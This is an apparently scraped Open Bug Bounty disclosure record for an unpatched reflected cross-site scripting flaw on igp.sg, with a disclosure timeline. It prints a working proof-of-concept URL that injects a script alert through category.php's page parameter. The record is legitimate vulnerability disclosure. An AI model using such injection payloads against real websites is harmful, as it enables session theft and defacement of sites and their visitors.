Lucene search

K
openbugbountyKeritzyOBB:236634
HistoryMay 14, 2017 - 2:35 a.m.

igp.sg XSS vulnerability

2017-05-1402:35:00
keritzy
www.openbugbounty.org
8
Vulnerable URL:
http://igp.sg/category.php?cid=145&page;=%22%3E%3Cscript%3E%20alert(%27XSSPOSED%27%20)%3C/script%3E
Details:
Description Value
Patched: No
Latest check for patch: 28.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 16068066
VIP website status: No
Check igp.sg SSL connection: (Grade: B-)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 14 May, 2017 02:35 GMT
Generic security notifications sent to website owner 15 May, 2017 06:37 GMT
Vulnerability details disclosed by researcher 22 May, 2017 07:15 GMT